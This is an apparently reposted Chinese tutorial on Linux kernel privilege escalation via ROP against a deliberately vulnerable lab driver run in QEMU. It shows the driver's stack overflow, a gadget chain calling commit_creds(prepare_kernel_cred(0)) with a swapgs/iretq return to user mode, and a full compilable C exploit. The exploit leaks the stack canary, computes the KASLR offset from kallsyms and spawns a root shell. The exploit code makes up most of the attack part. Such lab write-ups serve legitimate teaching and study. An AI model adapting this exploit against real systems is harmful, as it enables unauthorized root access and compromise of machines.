linux 内核提权总结(demo+exp分析) -- ROP(一)

待我称王封你为后i 2022-12-02 15:30 206阅读 0赞

# 基础ROP篇(linux 5.0.21) #

> 本文转自网络文章，内容均为非盈利，版权归原作者所有。  
> 转载此文章仅为个人收藏，分享知识，如有侵权，马上删除。  
> 原文作者：jmpcall  
> 专栏地址：[https://zhuanlan.kanxue.com/user-815036.htm][https_zhuanlan.kanxue.com_user-815036.htm]

> 内核提权与用户态攻击的区别
> 
>  *  攻击流程
>     
>      *  用户态攻击: 执行 system("/bin/sh") 获得shell
>      *  内核提权:
>         
>         1.  内核执行 commit\_creds(prepare\_kernel\_cred(0)) 使进程获得root权限
>         2.  用户态进程执行system("/bin/sh") 获得root权限 shell

*  理解难点
    
     *  内核rop链构造
     *  用户态进程与内核之间的切换

# 一. 漏洞分析 #

建议初学者先了解基础的驱动程序知识

## 1.查看驱动安全机制 ##

checksec rop.ko
     
    [*] '/home/povcfe/linux/flod/rop.ko' 
    Arch:     amd64-64-little 
    RELRO:    No RELRO 
    Stack:    Canary found 
    NX:       NX enabled 
    PIE:      No PIE (0x0)

*  发现开启canary和NX

## 2.查看qemu启动脚本boot.sh ##

*  boot.sh

qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.img \
    -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
    -cpu qemu64 \
    -nographic \
    -gdb tcp::1234

## 3.查看开机自启脚本 ##

*  rcS

#!/bin/sh
    mount -t proc none /proc
    mount -t sysfs none /sys
     
    echo /sbin/mdev > /proc/sys/kernel/hotplug  # 支持热拔插
    /sbin/mdev -s
     
    cat /proc/kallsyms > /tmp/kallsyms  # 当/proc/sys/kernel/kptr_restrict=1时，普通用户不能通过/proc/kallsyms读取函数地址，为减少难度直接将kallsyms内容写入临时目录
    insmod rop.ko   # 目标驱动
     
    chmod 777 /dev/povcfe_dev
    chmod 777 /dev/rop_dev 
     
    setsid cttyhack setuidgid 1000 sh

## 4.审计代码 ##

可以发现dangerous函数存在明显的栈溢出漏洞(降低难度直接泄漏canary)

void dangerous(size_t num)
    {
        char overflow[0x10] = {0};
        printk(KERN_INFO "canary is 0x%lx", *((size_t *)overflow + 2));
        memcpy(overflow, kernel_buf, num);
        printk(KERN_INFO "%s", overflow);
    }

## 5.利用思路 ##

*  Canary通过printk泄露
 *  NX使用rop绕过
 *  读取 /tmp/kallsyms的startup\_64(获得内核代码加载基地址，用于定位ROPgadget在内存中的真实地址)
 *  读取 /tmp/kallsyms的commit\_creds, prepare\_kernel\_cred，获得目标内核函数地址

# 二. ROP链构造 #

*  > ## 1.内核执行commit\_creds(prepare\_kernel\_cred(0)) ##
    
    1.  通过/tmp/kallsyms获得 commit\_creds() prepare\_kernel\_cred() 函数地址
        
        ![format_png][]
    2.  执行 cat tmp/kallsyms | grep startup\_64, 如果startup\_64不等于0xffffffff81000000, 即内核开启kalsr防护, startup\_64与0xffffffff81000000 的差值即为内核基地址偏移(很多发行版默认不打开kalsr, 利用就比较简单了)
        
        ![format_png 1][]
    3.  利用ROPgadget获得vmlinux的所有gadget片段(如果效果不理想可换用ropper)
        
            ROPgadget --binary vmlinux > rop_gadget
        
        根据所需在rop\_gadget中搜索(因为程序开启kalsr，所以 真实地址 = rop\_gadget地址 + 基地址偏移)
 *  > ## 2.返回用户态 ##
    
    1.  进入内核前，保存用户态数据
        
            size_t user_cs, user_ss, user_rflags, user_sp;
            void save_status()
            {
                __asm__("mov user_cs, cs;"
                        "mov user_ss, ss;"
                        "mov user_sp, rsp;"
                        "pushf;"
                        "pop user_rflags;"
                        );
            }
    2.  内核切换到用户态
    
     *  执行swapg 恢复GS值(GS通过宏实现, 并不保存在gs寄存器)
     *  执行iretq 恢复用户态数据(或者执行sysretq 只需提供rip)
        
         *  需要提前在栈上填充用户态数据(rip,cs,rflags,sp,ss)
         *  填充的用户态数据应在用户态切换到内核态前保存(内联汇编)

*  > ## 3.ROP 链构造 ##
    
    1.  commit\_creds() 接收 prepare\_kernel\_cred(0)的返回值作为参数，即rdi <- rax 时需要灵活变通(手动搜索rop\_gadget文件)
        
            ROP[i++] = 0xffffffff8106b910 + offset; // pop rdi, ret
            ROP[i++] = 0x0;
            ROP[i++] = prepare_kernel_cred;
             
            ROP[i++] = 0xffffffff8105bd21 + offset; // test rcx,rcx ; jne 0xffffffff8105bcc6 ; pop rbp ; ret
            ROP[i++] = 0x0;
            ROP[i++] = 0xffffffff8110c68a + offset; // mov rdi, rax ; jne 0xffffffff8110c672 ; pop rbp ; ret
            ROP[i++] = 0x0;
            ROP[i++] = commit_creds;
             
            ROP[i++] = 0xffffffff81a00d5e + offset; // swapgs ; popfq ; pop rbp ; ret
            ROP[i++] = 0x0;
            ROP[i++] = 0x0;
            ROP[i++] = 0xffffffff81024b3b + offset; // iretq
             
            ROP[i++] = (size_t)get_shell;          // rip
            ROP[i++] = user_cs;
            ROP[i++] = user_rflags;
            ROP[i++] = user_sp;
            ROP[i++] = user_ss;

# 三. 结果展示 #

![format_png 2][]

# 四. exp #

// gcc rop.c -masm=intel -static -o rop
     
    #include <fcntl.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
     
    void get_shell()
    {
        if (!getuid())
        {
            puts("=.=");
            system("/bin/sh");
        }
        else
        {
            puts("failed");
        }
        exit(0);
    }
     
    size_t user_cs, user_ss, user_rflags, user_sp;
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;");
        printf("ip is 0x%lx\n", (size_t)get_shell);
        printf("cs is 0x%lx\n", user_cs);
        printf("ss is 0x%lx\n", user_ss);
        printf("sp is 0x%lx\n", user_sp);
        printf("flag is 0x%lx\n", user_rflags);
        puts("status has been saved.");
    }
     
    size_t get_addr(char *name)
    {
        int num = strlen(name) * 2 + 3 + 27;
        char cmd[num];
        memset(cmd, 0, num);
        strcat(cmd, "cat /tmp/kallsyms | grep ");
        strcat(cmd, name);
        strcat(cmd, " > ");
        strcat(cmd, name);
        printf("the cmd is %s\n", cmd);
        system(cmd);
     
        char buf[19] = {0};
        size_t addr = 0;
     
        FILE *fp = fopen(name, "r");
        if (fp == NULL)
        {
            printf("open %s error!\n", name);
            exit(0);
        }
        fgets(buf, 18, fp);
        addr = strtoul(buf, 0, 16);
        printf("the addr(0x) is: %p\n", (void *)addr);
        if (addr == 0)
        {
            puts("string conversion integer failed");
        }
        fclose(fp);
        return addr;
    }
     
    size_t get_canary()
    {
        system("dmesg | grep canary > canary");
        puts("the cmd is: dmesg | grep canary > canary");
        FILE *fp = fopen("canary", "r");
        if (fp == NULL)
        {
            puts("open canary error");
            exit(0);
        }
        char buf[100] = {0};
        size_t canary = 0;
        fgets(buf, 100, fp);
        puts(buf);
        char *str_canary = strstr(buf, "0x");
        puts(str_canary);
        canary = strtoul(str_canary, 0, 16);
        fclose(fp);
        printf("the canary is 0x%lx\n", canary);
     
        return canary;
    }
     
    char *rop(size_t offset, size_t *ROP, size_t commit_creds, size_t prepare_kernel_cred)
    {
        int i = 0;
        ROP[i++] = 0xffffffff8106b910 + offset; // pop rdi, ret
        ROP[i++] = 0x0;
        ROP[i++] = prepare_kernel_cred;
     
        ROP[i++] = 0xffffffff8105bd21 + offset; // test rcx,rcx ; jne 0xffffffff8105bcc6 ; pop rbp ; ret
        ROP[i++] = 0x0;
        ROP[i++] = 0xffffffff8110c68a + offset; // mov rdi, rax ; jne 0xffffffff8110c672 ; pop rbp ; ret
        ROP[i++] = 0x0;
        ROP[i++] = commit_creds;
     
        ROP[i++] = 0xffffffff81a00d5e + offset; // swapgs ; popfq ; pop rbp ; ret
        ROP[i++] = 0x0;
        ROP[i++] = 0x0;
        ROP[i++] = 0xffffffff81024b3b + offset; // iretq
     
        ROP[i++] = (size_t)get_shell;          // rip
        ROP[i++] = user_cs;
        ROP[i++] = user_rflags;
        ROP[i++] = user_sp;
        ROP[i++] = user_ss;
    }
     
    int main()
    {
        size_t base, commit_creds, prepare_kernel_cred;
     
        base = get_addr("startup_64");
        commit_creds = get_addr("commit_creds");
        prepare_kernel_cred = get_addr("prepare_kernel_cred");
        size_t offset = base - 0xffffffff81000000;
        printf("offset 0x%lx\n", offset);
     
        int fd = open("/dev/rop_dev", 2);
        if (0 == fd)
        {
            puts("open /dev/rop_dev error");
            exit(0);
        }
        char payload1[0x10] = {0};
        write(fd, payload1, 0x10);
        write(fd, payload1, 0x10);
        size_t canary = get_canary();
     
        size_t payload2[17] = {0};
        payload2[0] = 0x6161616161616161;
        payload2[1] = 0x6262626262626262;
        payload2[2] = canary;
        payload2[3] = 0x6363636363636363;
        save_status();
        rop(offset, &payload2[4], commit_creds, prepare_kernel_cred);
        write(fd, payload2, 8*21);
        puts("success");
     
        return 0;
    }

# 五. 踩坑记录 #

1.  高版本linux canary存在\\x00截断(低版本没有)
2.  使用ROPgadget获得的gadget片段有可能存在于vmlinux的数据区 (不管是代码还是数据在内存中都只是一堆二进制数字), 所以如果内核开启NX保护, 那么内核数据区的gadget就不能用于ROP链构造
3.  使用iretq从内核态切换至用户态时，出现段错误(用户态数据被正常还原)
    
     *  解决方案: 将qemu的cpu启动参数由kvm64切换为qemu64
4.  ROPgadget 获得的代码片段中没有iretq和sysretq（1）python 进行iretq编码匹配
    
     *  原因：ROPgadget工具获得的代码片段作用于程序流程控制，即ret, call 等元素必须存在，但是内核态返回用户态只需执行 iretq指令，与其后接的汇编无关，由此看来，使用ROPgadget工具获得的内容是少于需求的，所以有可能iretq,sysretq, 不存在于获得的代码片段中
     *  解决方案：①python 进行iretq编码匹配；②ida 解析vmlinux 查找iretq指令。

[https_zhuanlan.kanxue.com_user-815036.htm]: https://zhuanlan.kanxue.com/user-815036.htm
[format_png]: /images/20221123/2707bc24b2ad4fbf99a7c43d571c7112.png
[format_png 1]: /images/20221123/937b3957be434816a3ba33558096a193.png
[format_png 2]: /images/20221123/3f7261b499e04b4eba5200e9c7950f26.png